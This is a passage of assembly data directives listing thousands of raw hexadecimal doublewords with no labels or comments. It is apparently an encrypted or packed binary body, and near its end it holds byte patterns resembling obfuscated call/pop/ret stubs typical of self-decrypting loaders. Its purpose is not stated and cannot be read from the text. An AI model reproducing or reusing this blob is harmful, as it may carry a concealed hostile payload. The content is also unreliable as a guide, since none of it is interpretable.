		dd 0F5EF41BCh, 15668C37h, 11A6C732h, 9E4226B5h,	73063516h
		dd 0E11D4EB3h, 7491FB3Dh, 0EABFCDDBh, 18EA1ECDh, 0FC668832h
		dd 1566443Ah, 110128D9h, 77EE1DB0h, 15673765h, 0EB4F4432h
		dd 9E00426Dh, 156EF8FDh, 6EC08832h, 5DEE86F1h, 1A07DF44h
		dd 156602B6h, 15686132h, 0C704432h, 0F82A26ABh,	3EB4F3C3h
		dd 536FF4Eh, 0CD61461h,	0D24E2085h, 4E9E996Ah, 0C4EDEE52h
		dd 74D2AFB2h, 1574CB98h, 241A1132h, 161E311Bh, 51BFBA91h
		dd 90AF9495h, 8F3A3406h, 156F0B3Dh, 0A7064432h,	0D3E7444Bh
		dd 4007D262h, 0FDEF7DBBh, 964268B9h, 1A0626F6h,	0CCD0E785h
		dd 14E18753h, 0EC664432h, 4FFD9961h, 0CD4F2F3Ah, 109EA169h
		dd 2B6E1EA9h, 156CA03Dh, 75061132h, 15EB8753h, 74664432h
		dd 52DE7261h, 0AE7A7D6Fh, 90AD571h, 3C3E8703h, 1D8F79EAh
		dd 0F7661132h, 0B2CD55FEh, 0BEB90CD5h, 9269DE52h, 15661134h
		dd 1566013Dh, 47074432h, 0A833C0BBh, 15661136h,	963B6233h
		dd 1E140F0h, 9E067E16h,	21D877FCh, 9EDE943h, 0F3EF1216h
		dd 1562E4B3h, 0D3E51132h, 31520F36h, 0DE54B6Eh,	75662232h
		dd 15661EDBh, 79A10732h, 47820408h, 0A286B74Dh,	28F8E90Eh
		dd 0EA07E952h, 963F6006h, 0EA9326F6h, 94383506h, 15668CF6h
		dd 14E24B32h, 0E9662232h, 0F4EF40CAh, 156249B3h, 0D4E54432h
		dd 61997336h, 9A3F1516h, 753AAC36h, 9E346C88h, 0AA007263h
		dd 7439DB82h, 0EABD6EDBh, 1577ADCDh, 5FBF2232h,	0D72BAB87h
		dd 0E92ED690h, 661E4D9Fh, 0D295BB1Ch, 1495A5B7h, 15668D3Ah
		dd 1574AD32h, 56D12232h, 0A0734CDBh, 4F9E8049h,	6C6C5965h
		dd 93FB5AF1h, 31629064h, 4A6C9D7h, 0F0DF1569h, 3C77E273h
		dd 926948F9h, 1566883Ah, 1564C23Dh, 74062232h, 1562AB60h
		dd 0C6678832h, 944250B9h, 156626F6h, 19E71E32h,	1A668832h
		dd 156642BBh, 15ED2D32h, 45661132h, 1566888Ah, 2E186932h
		dd 0E5671C0Dh, 2A5D6F37h, 4D7E8B0Ch, 1568C03Dh,	1C8F2232h
		dd 0A1661132h, 6A8A78E7h, 382726BDh, 314FA7B9h,	9B6916C8h
		dd 15668835h, 1567C53Dh, 0EC9F2232h, 21A384B9h,	73068FC8h
		dd 0AA6992B9h, 0AF3443E4h, 15661133h, 753C5E1Bh, 0AB4F868Bh
		dd 1575CB7Ah, 4FD11132h, 666FF1Eh, 94DBE29Fh, 36911CADh
		dd 3FC1A96Eh, 0A8E5E97Dh, 129C65F7h, 30E22D33h,	0FC661135h
		dd 15668834h, 5CDDC7Eh,	0CD5DE5EFh, 1547933Dh, 2E9F8832h
		dd 0B3E04BE8h, 0FC662233h, 15661121h, 12CCFE8Dh, 0F784E5F8h
		dd 0D53D817h, 676E34DAh
		dd 9C2098DCh, 0EF43A987h, 9E004235h, 0EFED77C3h, 0A1FB0353h
		dd 756E45C1h, 3D6BC1B3h, 188E6B25h, 44668832h, 0C8AE0843h
		dd 0AEDF2BDh, 88054E39h, 156686DBh, 0D1499032h,	238992EDh
		dd 7359ED40h, 4C4979A2h, 156DAD53h, 0F7042232h,	64CE3D97h
		dd 0A9B8D857h, 0FDDF15B2h, 3C6A0423h, 4C76357Eh, 1942D433h
		dd 194200B3h, 194033DAh, 156BF852h, 0FD998832h,	675D2BF0h
		dd 420D76FDh, 94BB56F6h, 0B2FE7AE9h, 7C8F2513h,	1A662234h
		dd 156603B0h, 156B6132h, 0DF854432h, 0FABECA07h, 40E611BCh
		dd 9EB21B51h, 9C31600Eh, 11A1A3D5h, 96661132h, 29E18CF5h
		dd 9E061816h, 0E1B1A3C3h, 7445599Dh, 34A30DF5h,	156743C8h
		dd 1A9E2232h, 156610B8h, 9ED7D32h, 0F4EF1516h, 1562E3B3h
		dd 0D4E51132h, 316A0F36h, 0AF00246Eh, 58E89FFh,	0D2661132h
		dd 0B3B2B2DAh, 64BEBE84h, 4426CF07h, 94D3E94Bh,	7C390AD1h
		dd 1A071E2Ch, 156625B3h, 14E51E32h, 0ED668832h,	404248B9h
		dd 0D0E7C7BBh, 15661136h, 92624DB1h, 1A3A601Eh,	156635B9h
		dd 1574F832h, 0CD5D8832h, 869A627Ah, 0AEFB550Dh, 0F93172CBh
		dd 9A255586h, 464270B9h, 0D6E7C1BBh, 15661136h,	15624BB3h
		dd 9E14432h, 1A067E16h,	156611B7h, 9C30E932h, 11A0C5D4h
		dd 96662232h, 21E115F4h, 31420316h, 1567C93Dh, 0FC9A2232h
		dd 0EA99C4FEh, 9C69E8CEh, 15664430h, 92694352h,	15661132h
		dd 78DB0B53h, 1461BE13h, 1030A63Dh, 3E9E1132h, 0EF42A1AFh
		dd 1560AD35h, 0F332232h, 9A109B99h, 128F05B9h, 926943C8h
		dd 1566223Eh, 156616DBh, 0CBE71232h, 3DFFF111h,	6E5CE3B3h
		dd 0FCE75714h, 1D92D263h, 0D4E79D33h, 1D927863h, 6E5CF8B3h
		dd 7306CE14h, 0A6C7AAB3h, 11DB7753h, 3C044E57h,	0EC4FD5DBh
		dd 706285B3h, 949F406Dh, 156615DEh, 315A0132h, 1566418Dh
		dd 4A9F0B32h, 7378A1CEh, 0E3A00060h, 7396CCE4h,	19950E68h
		dd 0FC9D1590h, 15668834h, 524EE0BDh, 0FCCC1793h, 15661123h
		dd 0AE19F037h, 4FFA88A1h, 834CFED1h, 377BF28h, 1A06E8B3h
		dd 156644BEh, 15E52D32h, 74661132h, 4436E9CEh, 964240B9h
		dd 0FC3F26F6h, 1566113Eh, 0C73520BCh, 1A3350A0h, 0FB450B99h
		dd 0EEED7752h, 1560053Dh, 98694432h, 15662232h,	9F69BA53h
		dd 1566882Ah, 156657DBh, 6D0FD432h, 434422E1h, 0EE189B49h
		dd 5AD74F5Bh, 13ABDDDh,	1562FDB3h, 29EF8832h, 9481CD16h
		dd 156626F5h, 11A19232h, 4942B4B5h, 156DAC52h, 0C96A2232h
		dd 0AAD69E8Fh, 6F6DB4EAh, 15E14BDEh, 4E662232h,	74B6F8B2h
		dd 4E42BCCDh, 156280B3h, 138F2232h, 661132h, 83156803h
		dd 316ACF03h, 9484AB60h, 156615F0h, 11A40932h, 92664432h
		dd 0E93A0626h, 156602DBh, 2EC3C332h, 20F516C2h,	46AE30F5h
		dd 4535F7C0h, 2CD9DF6Eh, 404270B9h, 0D0E7C7BBh,	15661136h
		dd 92624DB1h, 0FC3A601Eh, 15662238h, 410FABFBh,	24562BEFh
		dd 9D0EE907h, 9C662244h, 0F4EF353Eh, 156249B3h,	0D4E54432h
		dd 316AA536h, 1569F86Eh, 0D6098832h, 0F97E2DE4h, 0A744D5D5h
		dd 0FB271465h, 156E6197h, 0C80B4432h, 59F06670h, 5D8F86D5h
		dd 1A9977E5h, 156655B9h, 74064232h, 156616DAh, 0DF982A32h
		dd 48014DF0h, 1A06436Ah, 156617BEh, 15E98732h, 73664432h
		dd 0E43BEAB3h, 0A1E3D653h, 176E89C1h, 1A664432h, 15662AB5h
		dd 0D9E67132h, 0D1850878h, 0E4EF1553h, 19EDE9BBh, 11A29216h
		dd 80A53352h, 0A2690179h, 0A36943EDh, 14E51E3Ch, 0E9668832h
		dd 1AE6BDB2h, 156643B1h, 156AF832h, 8EA38832h, 116F6587h
		dd 0F1E1448Eh, 0D6E78009h, 5EBE9D35h, 7F94AFB3h, 0DE6759A1h
		dd 7F94D2B3h, 0FEE7F3A1h, 5EBE5135h, 156631DBh,	3A2DF932h
		dd 39C5B1E7h, 7EC6D53Ch, 52819EA1h, 1A236434h, 31620B61h
		dd 0FC9E1F33h, 1566224Dh, 15661CDBh, 26FC6C32h,	4B17B7E9h
		dd 90C9466Fh, 0A7347BA8h, 10844866h, 4561A6F2h,	0FDA66982h
		dd 0EB57353Ah, 1566BCFAh, 0C44E1CF0h, 0C491D768h, 0FC67D0B1h
		dd 15668821h, 0E9189EF2h, 2EEEA9B9h, 65D85087h,	376A545Fh
		dd 4200A85Bh, 2EE29C64h, 6ED97E96h, 14F6D3F7h, 0EC471AC5h
		dd 0AD36D76Dh, 46FD27EBh, 3C3E4B33h, 0CC8DC5F9h, 0FC35B904h
		dd 15661139h, 0E36962F3h, 0C3F3A93Ah, 9EBC56E9h, 0EF4238B7h
		dd 1DE78735h, 1A664432h, 156620BFh, 9E077132h, 0EF524DA7h
		dd 156CAD35h, 5D172232h, 0FEEA188Bh, 0D2830FAFh, 0EA9C85DBh
		dd 156FCBCDh, 2C7B1132h, 1B1641A9h, 0D277713Fh,	149596B7h
		dd 1566133Ah, 1EE18732h, 75664432h, 37269954h, 0DB949054h
		dd 0F70EE92Ch, 9C664447h, 753D0606h, 156618DBh,	246C4D32h
		dd 9F5459FDh, 9D696DC5h, 15661131h, 745556B2h, 1BD04BCAh
		dd 0B38DA352h, 73062E9Bh, 747E3E88h, 1AE6BDB2h,	15665AB1h
		dd 1577F832h, 81778832h, 8A08BDCEh, 0BF30B1F7h,	6FFE84D5h
		dd 0E9C9EF49h, 3BB7FE60h, 0E7E76471h, 2FF83FCFh, 946462F3h
		dd 0CE1F2CD0h, 2194A35Fh, 3C5C9C74h, 0DE67D2E1h, 135A87B3h
		dd 0FC0615ACh, 1566113Bh, 3832312Fh, 7DE6F92Dh,	1BDC4498h
		dd 0A833701Eh, 0EA9977CDh, 0FC3BAF1Bh, 1566223Fh, 0F28F0C36h
		dd 75705698h, 30FEB22Dh, 15E4CBCAh, 94691132h, 15668833h
		dd 0D2D416CAh, 95B1D0B2h, 0FFA62BD8h, 0AB8C0831h, 951586B2h
		dd 0D4E612F0h, 95B73956h, 0EC3CECDBh, 0E29FC37Bh, 759FA5E5h
		dd 954EC4B2h, 45073CF9h, 1809F68Ah, 69DD7137h, 343F7631h
		dd 0BB43D3EAh, 2004841Ah, 44027C57h, 0B7DD147Ah, 0D44726A9h
		dd 1A8E246Ah, 7A662232h, 0EC961931h, 0F71CB188h, 8FEBBE7Fh
		dd 0CD30FD0h, 0A833706Dh, 47CA9F57h, 3C3BAF1Bh,	70A5A3F9h
		dd 0E034BD25h, 314F0DB9h, 986943C8h, 1566222Ch,	15E11E52h
		dd 0FC668832h, 15664423h, 0EABD4DD0h, 7CBCCC87h, 8FA93086h
		dd 0AD64C29Eh, 80ED43AFh, 129C25F7h, 156A61CEh,	55C24432h
		dd 0CC63BD9Ch, 0B1FA27C3h, 0A8E577D5h, 129C655Fh, 0E4E22D33h
		dd 0EC99EEC4h, 97695009h, 15664417h, 15662ADBh,	9632F632h
		dd 0EC6FE4FEh, 1AB57D83h, 0EA8B95B4h, 0D2E671CDh, 10E2878Dh
		dd 73664432h, 0C550F8B3h, 52DE4153h, 0D415F150h, 0C59143D2h
		dd 0B5270317h, 0AAB82409h, 0D36774CDh, 0E84B6Ah, 0FC662232h
		dd 15661122h, 4559DE3Ch, 0C1011E5Ah, 9FEAF06Fh,	8D280D33h
		dd 156687DBh, 3F14A32h,	61E7320Dh, 9ADFF7CAh, 0B6E1734Eh
		dd 3162C564h, 26662B8Dh, 94421DB9h, 15668CF6h, 0AA8FC532h
		dd 0EC55223Bh, 2EC9D0B3h, 0EC4FF274h, 2EC9FB65h, 0EC4F5874h
		dd 7306716Dh, 705A7EB3h, 4607BD53h, 7078AA89h, 98959038h
		dd 3C6CED2Ch, 188F1FEBh, 57662232h, 0F0602603h,	15337F22h
		dd 82A06773h, 73989363h, 1DD9A162h, 0EB3EEEF3h,	168F84F3h
		dd 0D4E6E3CCh, 4CAE99DAh, 15780D3Dh, 9F694432h,	1566222Ah
		dd 156602DBh, 0C0A13632h, 0B00698D3h, 1E4EAA10h, 94FD6034h
		dd 98E3C0FFh, 13EA4B98h, 75662232h, 0ED9CAE3Dh,	118A0B53h
		dd 444240BBh, 78F7B6Ah,	50661132h, 0DB37A735h, 0AF26F418h
		dd 86A44618h, 28236297h, 0FC9323DEh, 0EA999731h, 156AA43Dh
		dd 98691132h, 15668834h, 1566C23Dh, 0AC372232h,	15661132h
		dd 0AF347933h, 15664432h, 17ECE833h, 1A8F4868h,	0B8668832h
		dd 85E1D605h, 2F99B85Ah, 22B725A3h, 1D8F6F94h, 0C3664432h
		dd 797BFB2Bh, 2905B8DAh
		dd 5EE287DAh, 0FC664432h, 15662223h, 9A3DCF1Bh,	5C2D3A3Ch
		dd 3954B345h, 856BBDh, 59D847E9h, 0AD27C426h, 542A507Eh
		dd 21EDD21Bh, 11A29016h, 0FC668832h, 15664439h,	170A6D0Ah
		dd 309093A4h, 0FC0FF784h, 15664551h, 156627DBh,	1EE85932h
		dd 9C35DF4Eh, 11A5C5D1h, 96662232h, 9E115D9h, 9EFD416h
		dd 1DE54B16h, 75662232h, 1566923Dh, 43078832h, 944258B9h
		dd 156626F6h, 1C8F7132h, 89668832h, 68AC5FF0h, 5BDFD516h
		dd 9B697153h, 15668830h, 1B8F1D60h, 70662232h, 0FE21233Ah
		dd 0BC154FCh, 539D992Eh, 4634433Ah, 0F7D985Ah, 0D6E7D318h
		dd 0C083A04Ah, 143DF8BBh, 4F7C12C0h, 156681DBh,	0BD8AEF32h
		dd 41123F03h, 0AD363C8Ch, 15668837h, 11ED8733h,	11A2A316h
		dd 0ED661132h, 74C03852h, 3CD61463h, 0A53EE7BAh, 4C8E21F3h
		dd 15668EDBh, 416D6232h, 0BF11E635h, 3D946CEh, 0D41D1450h
		dd 0C2914CDDh, 2F9FD5B3h, 0EE67FF0Bh, 949DA16Dh, 0A83F20D9h
		dd 0A833DA23h, 15661136h, 2BC4BB3h, 0FE4F1DCEh,	2BCC9B3h
		dd 1A3B48CEh, 156689BFh, 9369BC32h, 15662235h, 0FCE77752h
		dd 240793F2h, 24A575EAh, 0FCCDDBEAh, 1566113Bh,	27E947E1h
		dd 0B614C3A6h, 3152DD2Dh, 11A29069h, 0FC668832h, 15664435h
		dd 790100D8h, 0E9F493E8h, 10DDDB65h, 9C664432h,	0EB6779EDh
		dd 14E91E6Dh, 0E9668832h, 0B80E16CBh, 9E09D94Ch, 0D1E53526h
		dd 0B9940936h, 9C09BF4Ch, 986978E2h, 15661139h,	0C3EDEE52h
		dd 0BB9BB3h, 0D6076964h, 16EF1E52h, 73668832h, 460782B9h
		dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h
		dd 1ED1E16h, 0FC668832h, 1566443Dh, 0B6E8B2AFh,	306392E9h
		dd 60A43631h, 736D85EBh, 460014CDh, 7A41AA54h, 313AB954h
		dd 733D2230h, 3253446Ah, 0D65AED5Dh, 143A0C3Dh,	92694432h
		dd 15662222h, 15661ADBh, 0B61CB832h, 19976B95h,	9E066013h
		dd 9169DA0Eh, 1566890Ch, 17EA4B52h, 75662232h, 1A07E853h
		dd 156696B4h, 95692432h, 15662232h, 156600DBh, 0EEF55032h
		dd 5CB74A5Eh, 2EBFED7Fh, 0D1725206h, 29077910h,	5EE24BF0h
		dd 0E0662233h, 9169DB0Eh, 15668970h, 1547C53Dh,	0FD062232h
		dd 15661121h, 34B25344h, 0E4C0ADC8h, 1991A3D7h,	0F643345Dh
		dd 4A6AF923h, 0F1458EB3h, 73072BA8h, 1A43EE0Fh,	1567C7B6h
		dd 156CAD32h, 2DCB2232h, 3D2FE34Eh, 0BE485D80h,	0EA487954h
		dd 1507A73Dh, 78F1132h,	6D668832h, 9B402E95h, 87CCB1ABh
		dd 0AD87886Eh, 526165C0h, 17DF15D4h, 14662232h,	15DC43C3h
		dd 14668832h, 4F64CEF8h, 156FCB6Bh, 59921132h, 0E40C50CFh
		dd 47FDE4D3h, 0F7E68980h, 0A5D142D2h, 353D721Ah, 29931EE2h
		dd 22E22D92h, 0FC661133h, 15668839h, 61D36039h,	0D395783Eh
		dd 0EA8A70D5h, 943FAC06h, 156640F6h, 14E52D32h,	0EC661132h
		dd 27683567h, 0D8E74F9Dh, 66E15DABh, 45B3E677h,	0A352B78Ah
		dd 4CCB6952h, 1D6B2B5Fh, 0E26C7829h, 4EA2BDE2h,	0D0679F0Bh
		dd 488EAB6Ah, 14FFF8CEh, 1E8F8832h, 0B664432h, 250E54BFh
		dd 0FB5D9AFEh, 0DC57994Dh, 15664ADBh, 8E1EC332h, 0FD7ACA0Ch
		dd 0BAFC300Bh, 474CA529h, 15662388h, 4FB71032h,	16EB8752h
		dd 95664432h, 749A52C6h, 1566D6DBh, 15696132h, 91014432h
		dd 0E393C48Eh, 8B221B84h, 9069C763h, 160EB808h,	9E662232h
		dd 0D1E5353Eh, 1C8FE836h, 0C664432h, 0C09B41CDh, 0A87D3A3Dh
		dd 156F6061h, 10BA4432h, 39D7748Ah, 4CA6CE26h, 948FE96Dh
		dd 0FC664432h, 1566223Ah, 0FF4BB07Dh, 6CC7EBF1h, 86129D8Bh
		dd 9487F318h, 0A56812DBh, 94BF7F27h, 4A2CC9C3h,	6797A312h
		dd 47358C47h, 0A4714B88h, 10848547h, 4AA4C0B3h,	0D7E75258h
		dd 5FF4042Ah, 753C9533h, 0DAE7F3B8h, 4B739070h,	15546153h
		dd 75064432h, 1566AA3Dh, 0D7E61132h, 0A269E9B2h, 0F9E725FCh
		dd 15662236h, 0A8423DBBh, 15668835h, 753BADBBh,	73B69D3Dh
		dd 0F926DAB3h, 14E98753h, 0ED664432h, 9E9E86C1h, 0EF52D4BFh
		dd 48FE835h, 0D664432h,	0F26317ABh, 0FC97F344h,	0C98C5491h
		dd 18B62591h, 0D9F49D54h, 1AAF9453h, 1566AEB7h,	1DEB4B32h
		dd 75662232h, 1566913Dh, 9C078832h, 0EF528187h,	19E22D35h
		dd 1A661132h, 15668EBBh, 15E94B32h, 0EA662232h,	963F3506h
		dd 1A9E8CF6h, 156656B7h, 156BCB32h, 0B6811132h,	1783A0F0h
		dd 1B350027h, 4714DF9Ch, 15661088h, 9EB60132h, 0D1E56026h
		dd 19E32D36h, 0FC661132h, 15668835h, 426F16A4h,	0D67C2470h
		dd 156E943Dh, 94698832h, 15664430h, 0EA004352h,	39E77704h
		dd 73080216h, 7335226Ah, 7308A889h, 4E00C933h, 15669ADBh
		dd 0F73C3132h, 2B7C645Fh, 7BC0ADF6h, 0F24EB3Ch,	29533B80h
		dd 0C5E22DF1h, 1A661133h, 156682B6h, 9E692432h,	15662232h
		dd 4707DAB9h, 0E6EE4EBAh, 964250B9h, 459E26F6h,	0D1E66B86h
		dd 95B27EB4h, 0D1E66CD6h, 39D17168h, 9592D6B2h,	0C290BFD5h
		dd 1517ABB2h, 0F64679CEh, 7306716Ah, 0A10772B9h, 959F2542h
		dd 916952C9h, 15661524h, 17E28752h, 0A4664432h,	1E8F7482h
		dd 71661132h, 88088FFCh, 0A5B02C5Eh, 743D956Eh,	9169F80Eh
		dd 15668969h, 157FC33Dh, 18F2232h, 0E0661132h, 0C31B1457h
		dd 0BE6C9301h, 7748328h, 0A6BDE257h, 29D68E2Ah,	21E24BD9h
		dd 1A662233h, 15660BB2h, 1E48732h, 0FC664432h, 1566223Dh
		dd 1003855Ah, 6D73A665h, 10BB6ADDh, 295630ADh, 19E21EF0h
		dd 0ED668833h, 91698F0Eh, 15662331h, 15679B3Dh,	739A8832h
		dd 1A43BB0Fh, 1566D0B6h, 1572F832h, 0ECE78832h,	37DD544Bh
		dd 498097FCh, 9E23789Fh, 0FA1F26C0h, 750646ABh,	1A9BE4B2h
		dd 156611B4h, 9400E932h, 74F0D7E9h, 9169E80Eh, 1566118Dh
		dd 15680D3Dh, 1C8F4432h, 68662232h, 0A1EE6FFCh,	0C950BBBh
		dd 9169A70Eh, 15662108h, 1567963Dh, 739E8832h, 1A996A0Fh
		dd 156666B7h, 670EE432h, 9C668815h, 17DC6026h, 14662232h
		dd 4F649BC0h, 0C7D98752h, 453525CAh, 0D2EED282h, 4E9E316Ah
		dd 0D3EDEE52h, 29071C60h, 75E22D92h, 1A661132h,	156689BEh
		dd 9406BC32h, 4D7D7FFCh, 0C5ED774Dh, 2FD8DE53h,	945A9F46h
		dd 2B7791C4h, 1788D043h, 94636EF3h, 254D9FFCh, 2580A311h
		dd 473BE310h, 27449888h, 4FB0757Fh, 0FC38D2BBh,	15661139h
		dd 61274309h, 0EE08190Ah, 0FCD801CBh, 15661145h, 156F0B3Dh
		dd 1A064432h, 156622B0h, 9C07E932h, 0EF524D87h,	14EF4B35h
		dd 0E0662232h, 0AE5E8CBFh, 1B8F8032h, 3B664432h, 42397DE5h
		dd 0A0A46FFAh, 3D3BF2F0h, 0EDB5BB34h, 1562CEB3h, 9EF1132h
		dd 2EFA3316h, 88DE1959h, 3C3B4909h, 91694AEAh, 1566882Bh
		dd 156650DBh, 16E1B932h, 78760A12h, 3DC9594Eh, 0E42C399Ah
		dd 0AB91D1F3h, 0DAE671DCh, 0F4E7EE85h, 0D607E3AAh, 156632DBh
		dd 71B47432h, 4CB9CD8h,	1A3E25A9h, 0C74ECBC6h, 0F2EF469Bh
		dd 15624FB3h, 0FAE54432h, 315AA536h, 3162986Eh,	15668DDBh
		dd 0AF3B2832h, 6399D697h, 31629A22h, 15624CB3h,	96694432h
		dd 15662233h, 0D0E398C7h, 1A61721Fh, 156645B8h,	1E8FDB32h
		dd 0F3661132h, 466045ADh, 86656C42h, 11ED1046h,	0F4EF4016h
		dd 156249B3h, 0D4E54432h, 316AA536h, 0A833ED6Eh, 1566882Eh
		dd 679382B3h, 0FB67133Eh, 6793FFB3h, 0FC3BB93Eh, 15664423h
		dd 492F0CD1h, 55FE3A2Ch
		dd 0B0423320h, 6AF1790Ch, 0DEE2D72h, 0FC661132h, 15668821h
		dd 0BE5FC981h, 44F30491h, 923C9946h, 1B94A35Ah,	98C3D28Dh
		dd 0EF53038Fh, 1DE51E35h, 75668832h, 1ABFCF54h,	7507D58Dh
		dd 749D9A54h, 0F34B7D9Fh, 10395934h, 48FF5253h,	31425531h
		dd 8C16E91Fh, 1380416Fh, 78F7D2Fh, 26661132h, 68155516h
		dd 78947C21h, 5AF33E64h, 3FDA3931h, 15636144h, 0B9A64432h
		dd 0BE80C1B6h, 0FCDB9CCEh, 1A617222h, 156645B2h, 0FCCBD732h
		dd 1566113Eh, 0EE72B0A7h, 2B1F6B0Dh, 13EDCB9Bh,	156E9C3Dh
		dd 9B698832h, 15664430h, 0A8334352h, 4E9E2E4Eh,	942355C5h
		dd 5121DAFFh, 9483F337h, 37E9A7F7h, 488EA1E5h, 31420031h
		dd 0A778D637h, 9E007113h, 0EDD187F8h, 0F7EF1653h, 1562E0B3h
		dd 0FFE71132h, 15668836h, 494250B5h, 0FC4226BBh, 15661135h
		dd 107E4013h, 0BE1B06DEh, 156DA63Dh, 138F1132h,	0EE668832h
		dd 0A4939788h, 0DBAF03h, 0EC61EB1Ch, 48F7D9Fh, 4F664432h
		dd 0C6955FA1h, 0DF83712Eh, 5CBA10B5h, 0CA14EF50h, 4A07471Fh
		dd 3122124Dh, 4BDBDD1Ah, 0D41D1F09h, 0C89120DFh, 6A1DDCB3h
		dd 9423C0B8h, 597853DFh, 488E2358h, 9A69BACAh, 15668828h
		dd 0C5E72252h, 188E5CD1h, 22661132h, 0B20F37B5h, 51C55537h
		dd 0CDDB85E3h, 21ED706Ch, 0F4EFD916h, 156285B3h, 0D4E72232h
		dd 15661136h, 494284B5h, 156CC23Dh, 1A062232h, 156611BEh
		dd 749C0332h, 9C36B8F1h, 156227D2h, 114B1132h, 92668832h
		dd 9C3A6036h, 9A690606h, 15661136h, 74A73C52h, 0AF20D9BFh
		dd 92692A32h, 1566113Eh, 15600B3Dh, 97694432h, 15662232h
		dd 15661ADBh, 0C1AD0832h, 65DD0AA3h, 79E3292h, 9669C2CDh
		dd 1566883Eh, 1560C73Dh, 96692232h, 15661132h, 156680DBh
		dd 6D9C1232h, 0F7FB1EF8h, 0E9C9F8F4h, 0DFFCFFCDh, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 0D1DEC0D5h, 0ED96AA44h, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 8B422ACEh, 32DCF14Dh, 82147D83h
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 0FF4138C8h
		dd 7462255h, 0A90675DFh, 3C6D55Ch, 92B85E00h, 75152A54h
		dd 0DDAEAE30h, 968FA75Ch, 0FB59A312h, 0DDC2B0D9h, 7BAEAA44h
		dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h,	82147D7Ch
		dd 7FCB2F16h, 751D2B03h, 54142B96h, 8A152ABDh, 0EDDAC345h
		dd 82D7E3A8h, 3044BA45h, 8D8D0000h, 8015DC0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0FBC35040h, 0F3BF0F62h
		dd 0D98D89F9h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9FF9C356h, 5EE0A6E6h
		dd 0E05277BEh, 4D77BA60h, 89613469h, 0FA0D4DB5h, 0AD85C707h
		dd 6C07FA31h, 6A00005Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 978EC353h, 0ED953196h
		dd 6607FA16h, 3F2AC381h, 2BD985C7h, 7FAh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8960BBC3h, 0FA08D195h, 0E6816607h, 8961720Fh, 0FA30B5BDh
		dd 0DE907h, 513D0000h, 50CB1C6Ch, 94561504h, 0FFA09A9Bh
		dd 0FA16F1B5h, 61BD8B07h, 8B07FA08h, 0FA0CB595h, 9995FF07h
		dd 6A07FA17h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 78ECC355h, 0E821B27Ch,	89D9ED04h
		dd 1485B589h, 0BF0F07FAh, 0FF006ADFh, 0FA101995h, 0EBC08B07h
		dd 0DBD3400Bh, 90D17753h, 87514672h, 3BE9h, 0BD8B6000h
		dd 7FA1785h, 8304EF83h,	0A4F305E9h, 5203CB8Bh, 32567C59h
		dd 0EE730EB1h, 0C300A5F5h, 26BFC384h, 735657B1h, 7D3256B1h
		dd 0D23BF969h, 1AD8AD2Eh, 55E467B0h, 6C3BF84Dh,	32565A58h
		dd 551AB8B1h, 0E9835FD7h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah
		dd 0DB9917FBh, 0D525F57Bh, 0ADFDF53Fh, 9F749BADh, 0CFB73422h
		dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0B1987C27h, 0A07DFC12h
		dd 8313A3FFh, 0A4F305E9h, 0BD8DDB8Bh, 801F3B8h,	7DB68D8Dh
		dd 44B80802h, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h
		dd 6E9F675h, 0B5000000h, 39D1DE7Fh, 66F86067h, 611116B9h
		dd 82BA5250h, 2971803Ch, 5A042454h, 3C820558h, 880F7180h
		dd 8, 2850Fh, 61600000h, 2ACDBD83h, 750007FAh, 99BD8309h
		dd 7FA18h, 53501974h, 11B8C08Bh, 89000004h, 0FA158185h
		dd 8B9D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh, 17740007h
		dd 11B85350h, 89000004h, 0FA158185h, 2C9D8D07h,	0FF07FCDFh
		dd 0E9585BD3h, 14h, 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h
		dd 9E666597h, 0FE9h, 4E1C0100h,	0FF59CD98h, 0F4691AA3h
		dd 45390FD3h, 24048B50h, 0E904C483h, 0Ah, 8B9A8C42h, 0EE6F0FD9h
		dd 8DF8482Bh, 2820F8Dh,	3D9D8B08h, 8907FA0Dh, 0FA1CD98Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 19A2DFE6h, 0B966608Dh, 14E8D4FDh, 52000000h
		dd 45D513C8h, 79FFEF2Fh, 755FCDEEh, 26FCABD4h, 60CB6678h
		dd 0C7615B61h, 0FA31AD85h, 5D1C07h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 9C9CCEABh
		dd 2952600Ah, 0FA23A58Dh, 8D8B5B07h, 7FA2545h, 34E88061h
		dd 2BD985C7h, 7FAh, 0D08B0000h,	2EA9B5FFh, 8B6607FAh, 9995FFF7h
		dd 6A07FA17h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0A8A1C356h, 78812CACh,	2840F3Bh
		dd 0B7000000h, 0FF006ADEh, 0FA101995h, 0EBC08B07h, 2FE6C66Eh
		dd 6E3FB446h, 44CF6205h, 7B9A1C4Dh, 314BDA47h, 125C9D5Eh
		dd 0ED373EDFh, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 91FB8687h
		dd 0BB62790Bh, 0EC987754h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch
		dd 554D1FFDh, 9E72580Eh, 0C2AECD37h, 456E7F85h,	254467CAh
		dd 0C63062ECh, 3A8F4756h, 63842C01h, 0FE2723B0h, 0C8762D75h
